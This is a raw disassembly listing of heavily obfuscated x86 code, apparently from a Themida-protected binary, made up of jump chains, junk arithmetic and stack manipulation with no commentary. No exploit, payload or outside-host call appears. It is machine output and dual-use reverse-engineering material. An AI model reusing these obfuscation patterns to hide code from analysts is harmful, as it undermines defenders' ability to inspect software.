push ecx
not [esp+6+var_8+2]
pop ecx
neg ecx
xor ecx, 89F6A78Fh
sub eax, 7E206E68h
add eax, ecx
add eax, 7E206E68h
push [esp+2+var_4+2]
pop ecx
add esp, 4
add eax, ebx
sub eax, 4A8E058Bh
jmp loc_567F2F
; ---------------------------------------------------------------------------
loc_55E15A: ; CODE XREF: sub_562ABA+3AE8j
push eax
push dword ptr [esp+4]
pop eax
pop [esp+2+var_4+2]
mov esp, [esp+0]
mov ax, [esp+0]
push 1849h
mov [esp+2+var_4+2], esi
sub esp, 4
push esp
pop [esp+0Ah+var_C+2]
push edi
jmp loc_55E459
; ---------------------------------------------------------------------------
loc_55E182: ; CODE XREF: sub_562ABA+C879j
mov [esp+0Ah+var_C+2], eax
jmp loc_563445
; ---------------------------------------------------------------------------
loc_55E18A: ; CODE XREF: sub_562ABA+8D35j
shr dl, 3
jmp loc_56B198
; ---------------------------------------------------------------------------
loc_55E192: ; CODE XREF: sub_562ABA+8F1Cj
xchg edi, [esp+0Ah+var_C+2]
pop esp
sub ebx, 700D6661h
jmp loc_56CD1D
; ---------------------------------------------------------------------------
loc_55E1A1: ; CODE XREF: sub_562ABA+8551j
push 0C724C31h
pop ebx
and ebx, 29BF7B7Fh
jmp loc_55F60D
; ---------------------------------------------------------------------------
loc_55E1B2: ; CODE XREF: sub_562ABA+8BB1j
mov edx, esp
jmp loc_55EFE1
; ---------------------------------------------------------------------------
loc_55E1B9: ; CODE XREF: sub_562ABA+7DC5j
add ebx, 4
xchg ebx, [esp+6+var_8+2]
pop esp
loc_55E1C3: ; CODE XREF: sub_562ABA+194Bj
push 726Fh
jmp loc_5727CC
; ---------------------------------------------------------------------------
loc_55E1CD: ; CODE XREF: sub_562ABA+F145j
pop ecx
add edi, edx
pop edx
add eax, edi
pop edi
push edi
mov edi, 2
add eax, edi
pop edi
xchg eax, [esp-6+arg_0+2]
pop esp
idiv cx
sub esp, 4
mov [esp-6+arg_0+2], edx
push esp
pop edx
push ebx
mov ebx, 68AC5607h
shr ebx, 6
not ebx
inc ebx
jmp loc_5653D2
; ---------------------------------------------------------------------------
loc_55E1FD: ; CODE XREF: sub_562ABA+1B35j
push edi
mov edi, 0C73C05h
jmp loc_56AA25
; ---------------------------------------------------------------------------
loc_55E208: ; CODE XREF: sub_562ABA+4632j
push 638Fh
jmp loc_57042B
; ---------------------------------------------------------------------------
loc_55E212: ; CODE XREF: sub_562ABA+9927j
pop ebx
jmp loc_56CC87
; ---------------------------------------------------------------------------
loc_55E218: ; CODE XREF: sub_562ABA+46B0j
xor edx, [esp+2+var_4+2]
xor [esp+2+var_4+2], edx
xor edx, [esp+2+var_4+2]
pop esp
mov [esp+0], edi
mov edi, 5E742446h
push ebp
mov ebp, 0
sub ebp, 5C291CA8h
sub ebp, edi
add ebp, 5C291CA8h
xchg ebp, edi
pop ebp
add edi, 2F3230A9h
shl edi, 6
shr edi, 5
push eax
mov eax, 9D3C9F44h
sub edi, 42591528h
jmp loc_561A85
; ---------------------------------------------------------------------------
loc_55E25E: ; CODE XREF: sub_562ABA+A048j
mov dl, cl
pop ecx
sub al, dl
mov dx, [esp+0]
jmp loc_561150
; ---------------------------------------------------------------------------
loc_55E26C: ; CODE XREF: sub_562ABA+1EBDj
mov [esp+0], esi
mov esi, 532402E3h
push eax
mov eax, 73DA6BEFh
jmp loc_56AEC5
; ---------------------------------------------------------------------------
loc_55E27F: ; CODE XREF: sub_562ABA+EF48j
mov [esp+2+var_4+2], eax
mov eax, 5B6A3D8Ah
sub eax, 337AFD6Eh
sub edx, 6D9839B7h
add edx, eax
jmp loc_572B37
; ---------------------------------------------------------------------------
loc_55E299: ; CODE XREF: sub_562ABA+CA7Cj
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp+2+var_4+2]
pop esp
pop ebx
jmp loc_55E09F
; ---------------------------------------------------------------------------
loc_55E2AE: ; CODE XREF: sub_562ABA+7849j
mov [esp-6+arg_0+2], ecx
push [esp-6+arg_4+2]
push dword ptr [esp+0]
push [esp+2+var_4+2]
pop ecx
add esp, 4
jmp loc_570963
; ---------------------------------------------------------------------------
loc_55E2C7: ; CODE XREF: sub_562ABA-410Fj
sub ebp, 1D665808h
jmp loc_560C38
; ---------------------------------------------------------------------------
loc_55E2D2: ; CODE XREF: sub_562ABA+7C0Cj
mov edx, [esp+0]
add esp, 4
mov ecx, [esp-6+arg_0+2]
push ebx
jmp loc_56A747
; ---------------------------------------------------------------------------
loc_55E2E1: ; CODE XREF: sub_562ABA-BFEj
mov esp, [esp+0]
pop dword ptr [esp+0]
mov esp, [esp-6+arg_0+2]
sub byte ptr [esp-6+arg_0+2], al
pushf
jmp loc_55E09F
; ---------------------------------------------------------------------------
loc_55E2F3: ; CODE XREF: sub_562ABA+CAF4j
mov ebp, [esp+0]
add esp, 4
pop [esp-6+arg_0+2]
mov esp, [esp-0Ah+arg_4+2]
mov cx, word ptr [esp-0Ah+arg_4+2]
sub esp, 4
mov [esp-6+arg_0+2], ebp
mov ebp, esp
jmp loc_5716CC
; ---------------------------------------------------------------------------
loc_55E316: ; CODE XREF: sub_562ABA+DDAFj
pop esp
add esi, 4
push edi
mov edi, 2
jmp loc_560C78
; ---------------------------------------------------------------------------
loc_55E328: ; CODE XREF: sub_562ABA-37C8j
mov ecx, 680A06FEh
sub ebp, ecx
pop ecx
jmp loc_56063D
; ---------------------------------------------------------------------------
loc_55E335: ; CODE XREF: sub_562ABA+BAD9j
add dword ptr [edx+30h], 576C5C41h
push [esp-0Ah+arg_4+2]
pop ecx
jmp loc_56997A
; ---------------------------------------------------------------------------
loc_55E345: ; CODE XREF: sub_562ABA+2AB4j
push ecx
mov ecx, 2EA633FFh
jmp loc_565BC6
; ---------------------------------------------------------------------------
loc_55E350: ; CODE XREF: sub_562ABA-20E9j
xor eax, 673865EFh
xor eax, ebp
pop ebp
push edi
mov edi, 24522D7Eh
sub ebx, edi
pop edi
add ebx, eax
add ebx, 24522D7Eh
pop eax
push ebp
push edx
mov edx, 4
mov ebp, edx
pop edx
sub ebx, 206846E2h
add ebx, ebp
add ebx, 206846E2h
pop ebp
xchg ebx, [esp-0Eh+arg_8+2]
pop esp
push ecx
mov ecx, esp
add ecx, 4
jmp loc_56C9D3
; ---------------------------------------------------------------------------
loc_55E395: ; CODE XREF: sub_562ABA+DA55j
push cx
jmp loc_56DD26
; ---------------------------------------------------------------------------
loc_55E39C: ; CODE XREF: sub_562ABA+D3j
push edi
push ecx
jmp loc_56C796
; ---------------------------------------------------------------------------
loc_55E3A3: ; CODE XREF: sub_562ABA+5869j
xor esi, 2B8B06B4h
inc esi
jmp loc_56E645
; ---------------------------------------------------------------------------
loc_55E3AF: ; CODE XREF: sub_562ABA+5DA0j
pop ecx
add eax, esi
push [esp-8+arg_4]
mov esi, [esp-4+arg_0]
add esp, 4
add esp, 4
add eax, 79E34012h
add eax, edx
push ebx
mov ebx, 4E374A3Ch
jmp loc_55F543
; ---------------------------------------------------------------------------
loc_55E3D3: ; CODE XREF: sub_562ABA+C954j
add ebx, 1C528EDDh
sub eax, ebx
jmp loc_5698B5
; ---------------------------------------------------------------------------
loc_55E3E0: ; CODE XREF: sub_562ABA+EC69j
add [esp-8+arg_8], ecx
sub [esp-8+arg_8], 7A174273h
pop ecx
pop edx
push 0D0Ah
mov [esp-0Ch+arg_8], eax
push ecx
mov ecx, 3E892F68h
mov eax, 0D67DF256h
jmp loc_56036F
; ---------------------------------------------------------------------------
loc_55E406: ; CODE XREF: sub_562ABA+14FBj
push 714Fh
mov [esp-4+arg_0], ebx
sub [esp-4+arg_0], 0FFFFFFFFh
pop ebx
sub ebx, 6B3516A8h
sub ebx, 0B6E0263Fh
jmp loc_57029E
; ---------------------------------------------------------------------------
loc_55E427: ; CODE XREF: sub_562ABA-16DAj
pop esp
mov [esp-0Ch+arg_8], ecx
push edx
mov edx, 745D60B0h
push edx
mov edx, 70C86596h
mov ecx, 994C97EDh
sub ecx, edx
jmp loc_56585A
; ---------------------------------------------------------------------------
loc_55E443: ; CODE XREF: sub_562ABA+B36Cj
mov word ptr [esp-4+arg_0], ax
jmp sub_55F392
; ---------------------------------------------------------------------------
loc_55E44C: ; CODE XREF: sub_562ABA+CABCj
push [esp-4+arg_4]
pop edi
pop [esp-4+arg_0]
jmp loc_56312C
; ---------------------------------------------------------------------------
loc_55E459: ; CODE XREF: sub_562ABA-493Dj
mov edi, 4
add [esp+0Ah+var_8+2], edi
pop edi
mov esi, [esp+6+var_8+2]
push ebp
mov ebp, esp
add ebp, 4
push esi
mov esi, 54AB70CEh
or esi, 6436378h
not esi
jmp loc_55F692
; ---------------------------------------------------------------------------
loc_55E482: ; CODE XREF: sub_562ABA+C555j
not ecx
push eax
sub esp, 4
mov [esp+16h+var_16], ecx
push [esp+16h+var_16]
pop eax
sub esp, 4
mov [esp+1Ah+var_1A], ebx
push 2223h
mov [esp+1Eh+var_1E], esp
add [esp+1Eh+var_1E], 4
pop ebx
add ebx, 4
add ebx, 4
jmp loc_56BA0F
; ---------------------------------------------------------------------------
loc_55E4B6: ; CODE XREF: sub_562ABA-21Cj
push eax
push [esp+1Eh+var_1A]
mov eax, [esp+22h+var_22]
jmp loc_560A01
; ---------------------------------------------------------------------------
loc_55E4C3: ; CODE XREF: sub_562ABA+E110j
add [esp+22h+var_1E], edi
sub [esp+22h+var_1E], 61842231h
jmp loc_55E941
; END OF FUNCTION CHUNK FOR sub_562ABA
; =============== S U B R O U T I N E =======================================
sub_55E4D4 proc near ; CODE XREF: sub_562ABA-3F0Bj
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0055F3BD SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0056210A SIZE 0000000D BYTES
push ebp
mov ebp, 30A158DEh
shr ebp, 4
jmp loc_56210A
sub_55E4D4 endp
; ---------------------------------------------------------------------------
mov cx, [esp]
push edx
push esp
mov edx, [esp]
jmp loc_56B01F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562ABA
loc_55E4F0: ; CODE XREF: sub_562ABA+C70j
add esp, 4
add esp, 4
xchg eax, [esp+1Ah+var_1A]
pop esp
jmp loc_55FE03
; END OF FUNCTION CHUNK FOR sub_562ABA
; =============== S U B R O U T I N E =======================================
sub_55E502 proc near ; CODE XREF: sub_562ABA+3BA9j
; FUNCTION CHUNK AT 0055E9CE SIZE 00000011 BYTES
push ebx
mov ebx, 4A420A84h
jmp loc_55E9CE
sub_55E502 endp
; =============== S U B R O U T I N E =======================================
sub_55E50D proc near ; CODE XREF: sub_562ABA+3B15j
push ebx
jmp loc_567B48
sub_55E50D endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562ABA
loc_55E513: ; CODE XREF: sub_562ABA+522Dj
add ebx, edi
push ecx
mov ecx, 0
add ecx, ebx
mov [ecx], dh
jmp loc_564F7C
; ---------------------------------------------------------------------------
loc_55E524: ; CODE XREF: sub_562ABA+4B3Dj
push 7A0Bh
mov [esp+1Eh+var_1E], ecx
jmp loc_56BFF1
; ---------------------------------------------------------------------------
loc_55E531: ; CODE XREF: sub_562ABA+F4AEj
add ebp, 4
sub esp, 4
mov [esp+22h+var_22], edi
mov edi, 4FF37C13h
push 7C91h
mov [esp+26h+var_28+2], ecx
push esi
push 6B1D70DDh
mov esi, [esp]
jmp loc_568C5A
; ---------------------------------------------------------------------------
loc_55E55B: ; CODE XREF: sub_562ABA+415Cj
push ecx
mov ecx, 283E4E72h
push ebp
jmp loc_564557
; ---------------------------------------------------------------------------
loc_55E567: ; CODE XREF: sub_561D56+13j
; sub_562ABA+B441j
push 74B7h
mov [esp+3Ah+var_3A], ebx
mov eax, [esp+3Ah+var_3A]
push edi
jmp loc_567C60
; ---------------------------------------------------------------------------
loc_55E578: ; CODE XREF: sub_562ABA+32FBj
add esi, eax
sub esi, 2B1B094Ah
mov eax, [esp+3Eh+var_3E]
add esp, 4
xchg esi, [esp+3Ah+var_3A]
jmp loc_56CF7C
; ---------------------------------------------------------------------------
loc_55E591: ; CODE XREF: sub_562ABA+1A42j
xchg esi, [esp+3Ah+var_3A]
jmp loc_56BBC5
; ---------------------------------------------------------------------------
loc_55E599: ; CODE XREF: sub_562ABA+41j
pop esp
jmp loc_562755
; END OF FUNCTION CHUNK FOR sub_562ABA
; ---------------------------------------------------------------------------
mov cx, [esp]
push 3FE2h
mov [esp], edi
push esi
push 5D8Bh
mov [esp], esp
add dword ptr [esp], 4
pop esi
push ebx
jmp loc_56BA40
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562ABA
loc_55E5C2: ; CODE XREF: sub_562ABA-3EC4j
add eax, 73D19E1h
push ebx
push 13E4h
mov [esp+3Eh+var_3E], esi
mov esi, 32521C99h
dec esi
sub esi, 0D7C4C38Fh
mov ebx, esi
jmp loc_563C96
; ---------------------------------------------------------------------------
loc_55E5E3: ; CODE XREF: sub_562ABA+51A1j
push [esp+3Eh+var_3E]
mov ebx, [esp+42h+var_42]
push esi
mov esi, esp
add esi, 4
jmp loc_566D02
; END OF FUNCTION CHUNK FOR sub_562ABA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55FCA5
loc_55E5F7: ; CODE XREF: sub_55FCA5+3F2j
sub edx, esi
pop esi
add ebx, edx
pop edx
push ebx
push esp
pop ebx
add ebx, 4
sub ebx, 4
xchg ebx, [esp+4+var_4]
pop esp
mov [esp+0], ebp
mov ebp, 4
jmp loc_563E24
; END OF FUNCTION CHUNK FOR sub_55FCA5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562ABA
loc_55E61A: ; CODE XREF: sub_562ABA+810Ej
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp+4Ah+var_4A]
jmp loc_5678F8
; ---------------------------------------------------------------------------
loc_55E62E: ; CODE XREF: sub_562ABA+6B71j
mov eax, 3BA5592Bh
jmp loc_572529
; ---------------------------------------------------------------------------
loc_55E638: ; CODE XREF: sub_562ABA+8E36j
add eax, 4
jmp loc_56BB54
; ---------------------------------------------------------------------------
loc_55E642: ; CODE XREF: sub_562ABA-4435j
pop eax
add edx, 53354D56h
jmp loc_564D3F
; ---------------------------------------------------------------------------
loc_55E64E: ; CODE XREF: sub_562ABA+5B77j
and edx, 2525438h
xchg edi, edx
neg edi
jmp loc_56075D
; ---------------------------------------------------------------------------
loc_55E65D: ; CODE XREF: sub_562ABA+253Dj
mov ebx, 2C351235h
jmp loc_572919
; ---------------------------------------------------------------------------
loc_55E667: ; CODE XREF: sub_562ABA+2CEj
popa
retn
; END OF FUNCTION CHUNK FOR sub_562ABA
; ---------------------------------------------------------------------------
loc_55E669: ; DATA XREF: Themida_:0055DDBCo
push eax
push 2528462Bh
pop eax
push ecx
jmp loc_56A3BC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562ABA
loc_55E676: ; CODE XREF: sub_562ABA+45CDj
xor ebp, edi
pop edi
jmp loc_56F232
; ---------------------------------------------------------------------------
loc_55E67E: ; CODE XREF: sub_562ABA+667j
mov eax, 34925880h
xor edx, eax
jmp loc_55E642
; ---------------------------------------------------------------------------
loc_55E68A: ; CODE XREF: sub_562ABA+FD7Fj
pop esi
add esp, 4
sub esi, 43934574h
jmp loc_5685BD
; ---------------------------------------------------------------------------
loc_55E699: ; CODE XREF: sub_562ABA+7FBEj
sub ecx, 7E120F24h
jmp loc_56A8D7
; ---------------------------------------------------------------------------
loc_55E6A4: ; CODE XREF: sub_562ABA-1A69j
add ecx, 2
jmp loc_5633E8
; ---------------------------------------------------------------------------
loc_55E6AC: ; CODE XREF: sub_562ABA+D487j
add ecx, 64F57E56h
jmp loc_56A3ED
; ---------------------------------------------------------------------------
loc_55E6B7: ; CODE XREF: sub_562ABA+C730j
add ebx, eax
pop eax
push ebp
push esi
push edx
jmp loc_56C5E2
; ---------------------------------------------------------------------------
loc_55E6C2: ; CODE XREF: sub_562ABA+3BF5j
mov [esp+22h+var_22], ecx
mov ecx, 46DE596Ch
sub ecx, 46DE5968h
sub ebx, 3F790B41h
sub ebx, 19B62AC7h
add ebx, ecx
jmp loc_567224
; ---------------------------------------------------------------------------
loc_55E6E3: ; CODE XREF: sub_562ABA+DEE7j
sub ebp, eax
jmp loc_560982
; ---------------------------------------------------------------------------
loc_55E6EA: ; CODE XREF: sub_562ABA+2277j
add esp, 4
push eax
mov eax, esp
jmp loc_562A13
; ---------------------------------------------------------------------------
loc_55E6F8: ; CODE XREF: sub_562ABA+E568j
add [esp+22h+var_22], 4
jmp loc_56FB67
; ---------------------------------------------------------------------------
loc_55E704: ; CODE XREF: sub_562ABA+1F6Dj
add esp, 4
add eax, ebx
pop ebx
xchg eax, [esp+1Ah+var_1A]
pop esp
mov ax, word ptr [esp+16h+var_16]
push ecx
push 7E5Bh
mov [esp+1Eh+var_1E], esp
add [esp+1Eh+var_1E], 4
mov ecx, [esp+1Eh+var_1E]
jmp loc_5661D1
; END OF FUNCTION CHUNK FOR sub_562ABA
; =============== S U B R O U T I N E =======================================
sub_55E72D proc near ; CODE XREF: sub_562ABA+DCD7j
push ebp
mov ebp, 3CE74F04h
push eax
mov eax, ebp
mov esi, eax
jmp loc_563CC1
sub_55E72D endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562ABA
loc_55E73D: ; CODE XREF: sub_562ABA+B715j
push eax
not [esp+22h+var_22]
jmp loc_562E9F
; ---------------------------------------------------------------------------
loc_55E746: ; CODE XREF: sub_562ABA-1D42j
add [esp+22h+var_22], 4
jmp loc_568229
; ---------------------------------------------------------------------------
loc_55E74F: ; CODE XREF: sub_562ABA+EB0Bj
sub eax, 0DCCD48EBh
jmp loc_56954E
; ---------------------------------------------------------------------------
loc_55E759: ; CODE XREF: sub_562ABA+F74Fj
add ecx, 4
push ebx
mov ebx, 39661CC5h
push ebp
push ebx
mov ebx, 70EF433Dh
inc ebx
add ebx, 361A2F3Dh
neg ebx
add ebx, 45CC44E9h
xor ebx, 0BF7CB1B8h
push 416h
mov [esp+32h+var_32], ebx
add [esp+32h+var_32], 24E504CCh
pop ebp
sub ebp, 24E504CCh
pop ebx
sub ebx, ebp
mov ebp, [esp+2Ah+var_2C+2]
add esp, 4
push 7945h
jmp loc_567CEC
; END OF FUNCTION CHUNK FOR sub_562ABA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55FCA5
loc_55E7AD: ; CODE XREF: sub_55FCA5+1574j
push edi
mov edi, 4A56728Eh
inc edi
jmp loc_569179
; END OF FUNCTION CHUNK FOR sub_55FCA5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562ABA
loc_55E7B9: ; CODE XREF: sub_562ABA+B013j
mov [esp+2Ah+var_2C+2], esi
push [esp+2Ah+var_2C+2]
pop edx
add esp, 4
push [esp+26h+var_28+2]
pop esi
jmp loc_571266
; ---------------------------------------------------------------------------
loc_55E7CF: ; CODE XREF: sub_562ABA+3111j
add edi, ecx
pop ecx
jmp loc_564F4B
; ---------------------------------------------------------------------------
loc_55E7D7: ; CODE XREF: sub_562ABA+7A9Bj
add esi, 0E076D2A3h
add edi, esi
jmp loc_56A3D9
; ---------------------------------------------------------------------------
loc_55E7E4: ; CODE XREF: sub_562ABA-1AC1j
pop esi
pop edi
shr esi, 5
sub esi, 1
push ebp
jmp loc_567B21
; ---------------------------------------------------------------------------
loc_55E7F5: ; CODE XREF: sub_562ABA-C0Cj
add [esp+1Eh+var_1A], esi
pop esi
pop esi
add esi, 4
sub esi, 4
jmp loc_56C55B
; ---------------------------------------------------------------------------
loc_55E809: ; CODE XREF: sub_562ABA+6ECDj
mov ebx, eax
jmp loc_5678E1
; ---------------------------------------------------------------------------
loc_55E810: ; CODE XREF: sub_562ABA+5075j
add esi, ebp
jmp loc_56AE39
; ---------------------------------------------------------------------------
loc_55E817: ; CODE XREF: sub_562ABA+EFCCj
push ecx
mov ecx, 57007B02h
jmp loc_56ECCA
; ---------------------------------------------------------------------------
loc_55E822: ; CODE XREF: sub_562ABA+CA64j
pop eax
add eax, ebp
pop ebp
jmp loc_571051
; ---------------------------------------------------------------------------
loc_55E82B: ; CODE XREF: sub_562ABA-56Fj
xor ecx, esi
pop esi
xor edx, ecx
pop ecx
push esi
jmp loc_563FEA
; ---------------------------------------------------------------------------
loc_55E837: ; CODE XREF: sub_562ABA+8758j
pop ebp
jmp loc_56FB2F
; ---------------------------------------------------------------------------
loc_55E83D: ; CODE XREF: sub_562ABA+286Cj
add ecx, 4
push esi
mov esi, 4
sub ecx, 3BF701C2h
add ecx, esi
add ecx, 3BF701C2h
pop esi
jmp loc_5710EE
; END OF FUNCTION CHUNK FOR sub_562ABA
; =============== S U B R O U T I N E =======================================
sub_55E85D proc near ; CODE XREF: sub_562ABA-2E6j
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, 777A13A8h
sub eax, ebp
mov ebp, [esp+4+var_4]
sub esp, 4
mov [esp+8+var_8], esi
mov esi, esp
add esi, 4
add esi, 4
jmp loc_56A40F
sub_55E85D endp
; =============== S U B R O U T I N E =======================================
sub_55E87E proc near ; CODE XREF: sub_562ABA+15F0j
push ebp
mov ebp, 71A61C9Bh
shr ebp, 7
inc ebp
xor ebp, 299263B0h
add edx, ebp
jmp loc_5634D8
sub_55E87E endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562ABA
loc_55E895: ; CODE XREF: sub_562ABA+4CE2j
and eax, ebx
pop ebx
sub eax, 493A6A13h
or eax, 72B44E80h
inc eax
xor eax, 0FC058552h
mov edi, eax
pop eax
jmp loc_57263C
; ---------------------------------------------------------------------------
loc_55E8B0: ; CODE XREF: sub_562ABA-1A5Bj
pop eax
pop dword ptr [esp+0]
jmp loc_564BCB
; ---------------------------------------------------------------------------
loc_55E8B9: ; CODE XREF: sub_562ABA+C1AEj
dec bh
not bh
push edx
push 3CE8h
mov [esp+2+var_4+2], ebx
mov bl, 9Dh
push cx
mov ch, 0F7h
jmp loc_56ED86
; ---------------------------------------------------------------------------
loc_55E8D1: ; CODE XREF: sub_562ABA-D91j
sub al, bh
pop ebx
push 470Ch
jmp loc_56B8B9
; ---------------------------------------------------------------------------
loc_55E8DE: ; CODE XREF: sub_562ABA+3819j
inc ebx
neg ebx
push esi
mov esi, 41D96EB1h
jmp loc_561A63
; ---------------------------------------------------------------------------
loc_55E8EC: ; CODE XREF: sub_562ABA+35FAj
neg esi
or esi, 24AC15FAh
and esi, 5929196Ch
jmp loc_566AE4
; ---------------------------------------------------------------------------
loc_55E8FF: ; CODE XREF: sub_562ABA+4CEFj
neg edx
push esi
mov esi, 3F185231h
neg esi
shl esi, 1
or esi, 13E2197Fh
xor esi, 93EF5BFEh
add edx, esi
pop esi
dec edx
xor edx, 0A18DC472h
push edx
sub esp, 4
mov [esp+10h+var_12+2], ecx
mov ecx, 0F5A1BCCh
xor [esp+10h+var_C], ecx
pop ecx
pop esi
xor esi, 0F5A1BCCh
pop edx
xchg eax, esi
push edx
jmp sub_55F660
; ---------------------------------------------------------------------------
loc_55E941: ; CODE XREF: sub_562ABA-45EBj
pop edi
pop ebp
jmp loc_562E72
; END OF FUNCTION CHUNK FOR sub_562ABA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5722B7
loc_55E948: ; CODE XREF: sub_5722B7+Fj
mov edx, ebp
pop ebp
add ebp, edx
jmp loc_5701F4
; END OF FUNCTION CHUNK FOR sub_5722B7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562ABA
loc_55E952: ; CODE XREF: sub_562ABA+7FCAj
xor ebp, [esp+1Ah+var_1A]
mov esp, [esp+1Ah+var_1A]
push dword ptr [eax]
jmp loc_55E09F
; ---------------------------------------------------------------------------
loc_55E95F: ; CODE XREF: sub_562ABA+9EDDj
push esi
jmp loc_562354
; ---------------------------------------------------------------------------
loc_55E965: ; CODE XREF: sub_562ABA+BD06j
inc edi
dec edi
add edi, 0C302DFC9h
jmp loc_565390
; END OF FUNCTION CHUNK FOR sub_562ABA
; =============== S U B R O U T I N E =======================================
sub_55E972 proc near ; CODE XREF: sub_562ABA+D9F8j
var_4 = dword ptr -4
sub esp, 4
mov [esp+4+var_4], ecx
mov ecx, 4
add esi, ecx
jmp loc_562C16
sub_55E972 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562ABA
loc_55E987: ; CODE XREF: sub_562ABA+1793j
push 3775h
jmp loc_562913
; ---------------------------------------------------------------------------
loc_55E991: ; CODE XREF: sub_562ABA+7A5Aj
pop ecx
pop [esp+22h+var_22]
pop esp
jmp loc_56DA1C
; ---------------------------------------------------------------------------
loc_55E99B: ; CODE XREF: sub_562ABA+9D2Bj
pop eax
push ebp
mov ebp, 62FD0328h
push eax
mov eax, 2E5D59A9h
sub ebp, eax
pop eax
jmp loc_55E2C7
; ---------------------------------------------------------------------------
loc_55E9B0: ; CODE XREF: sub_562ABA-253Bj
pop esp
push eax
push esp
mov eax, [esp+1Eh+var_1E]
add esp, 4
push ecx
jmp loc_56612A
; ---------------------------------------------------------------------------
loc_55E9BF: ; CODE XREF: sub_562ABA+C108j
not ebx
push edi
mov edi, 3407B187h
xor ebx, edi
jmp loc_565CA5
; END OF FUNCTION CHUNK FOR sub_562ABA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55E502
loc_55E9CE: ; CODE XREF: sub_55E502+6j
shl ebx, 3
shr ebx, 6
add ebx, 1
jmp loc_567B3D
; END OF FUNCTION CHUNK FOR sub_55E502
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562ABA
loc_55E9DF: ; CODE XREF: sub_562ABA+73B9j
pop edi
add ebp, 4
xchg ebp, [esp+1Eh+var_1E]
pop esp
xor esi, [esp+1Ah+var_1A]
xor [esp+1Ah+var_1A], esi
jmp loc_56EBC7
; ---------------------------------------------------------------------------
loc_55E9F5: ; CODE XREF: sub_562ABA+8AEj
add esi, 4
add esi, 4
xchg esi, [esp+1Ah+var_1A]
pop esp
push edx
mov edx, 4
sub eax, edx
pop edx
jmp loc_56A34D
; ---------------------------------------------------------------------------
loc_55EA13: ; CODE XREF: sub_562ABA-1683j
mov [esp+16h+var_16], ebp
jmp loc_567C92
; ---------------------------------------------------------------------------
loc_55EA1B: ; CODE XREF: sub_562ABA+C9C1j
mov esp, [esp+16h+var_16]
mov [esp+16h+var_16], ebx
add [esp+16h+var_16], 41F54151h
pop edx
jmp loc_5706E6
; ---------------------------------------------------------------------------
loc_55EA2E: ; CODE XREF: sub_562ABA-1C22j
add ebx, 38F318A0h
sub esp, 4
mov [esp+16h+var_16], ebp
push edx
push 16C2419Bh
jmp loc_56E717
; ---------------------------------------------------------------------------
loc_55EA48: ; CODE XREF: sub_562ABA+49C2j
xor [esp+1Eh+var_1E], 71F23037h
pop eax
push esi
jmp loc_563116
; ---------------------------------------------------------------------------
loc_55EA56: ; CODE XREF: sub_562ABA+F4A3j
mov esp, [esp+1Eh+var_1E]
jmp loc_5679E8
; ---------------------------------------------------------------------------
loc_55EA5E: ; CODE XREF: sub_562ABA-3893j
push [esp+1Eh+var_1A]
push [esp+22h+var_22]
jmp loc_56FE4D
; ---------------------------------------------------------------------------
loc_55EA6A: ; CODE XREF: sub_562ABA-E09j
push dword ptr [edi+eax*4]
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp+0]
jmp loc_564249
; ---------------------------------------------------------------------------
loc_55EA81: ; CODE XREF: sub_562ABA+880Cj
sub ebx, edi
mov edi, [esp+0]
add esp, 4
and ebx, 3C9B0F88h
and ebx, 73413378h
push ebp
mov ebp, 38681979h
push edx
mov edx, 0BFB04DFh
neg edx
dec edx
inc edx
and edx, 75602844h
xor edx, 37516E41h
add ebp, edx
pop edx
or ebx, ebp
pop ebp
add ebx, 0FFFFFFFFh
jmp loc_566BF7
; ---------------------------------------------------------------------------
loc_55EAC2: ; CODE XREF: sub_562ABA+A471j
xor ebx, 7FA22EF1h
xor ebp, ebx
pop ebx
add ebp, 3387EAAh
add ebp, 3F6EF94Fh
add edi, ebp
pop ebp
xor edi, [esp+22h+var_22]
xor [esp+22h+var_22], edi
xor edi, [esp+22h+var_22]
pop esp
shr word ptr [esp+1Eh+var_1E], cl
pushf
jmp loc_55E09F
; ---------------------------------------------------------------------------
loc_55EAEE: ; CODE XREF: sub_562ABA+4AD4j
pop ecx
push edx
mov edx, 65963958h
push esi
push eax
push 0B4049BBh
pop eax
or eax, 56C307B7h
jmp loc_55F62A
; ---------------------------------------------------------------------------
loc_55EB07: ; CODE XREF: sub_562ABA-2F3Fj
add edi, ecx
sub edi, 6E9E55B7h
mov ecx, [esp+2Ah+var_2C+2]
add esp, 4
push edi
push esp
mov edi, [esp+0]
add esp, 4
add edi, 4
push eax
mov eax, 332B5C46h
dec eax
shr eax, 5
or eax, 676C00E2h
shr eax, 1
xor eax, 33FEAD75h
sub edi, eax
mov eax, [esp+0]
add esp, 4
xchg edi, [esp+2Ah+var_2C+2]
mov esp, [esp+2Ah+var_2C+2]
mov [esp+2Ah+var_2C+2], ebp
mov ebp, 286210BFh
jmp loc_56E65E
; ---------------------------------------------------------------------------
loc_55EB54: ; CODE XREF: sub_562ABA+7245j
mov [esp+2Ah+var_2C+2], esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp+2Ah+var_2C+2]
jmp loc_567BE7
; ---------------------------------------------------------------------------
loc_55EB6D: ; CODE XREF: sub_562ABA-47Dj
mov ebx, 6978322Ah
push ecx
mov ecx, 16D9502Ch
sub eax, ecx
pop ecx
add eax, ebx
sub esp, 4
mov [esp+0], ebp
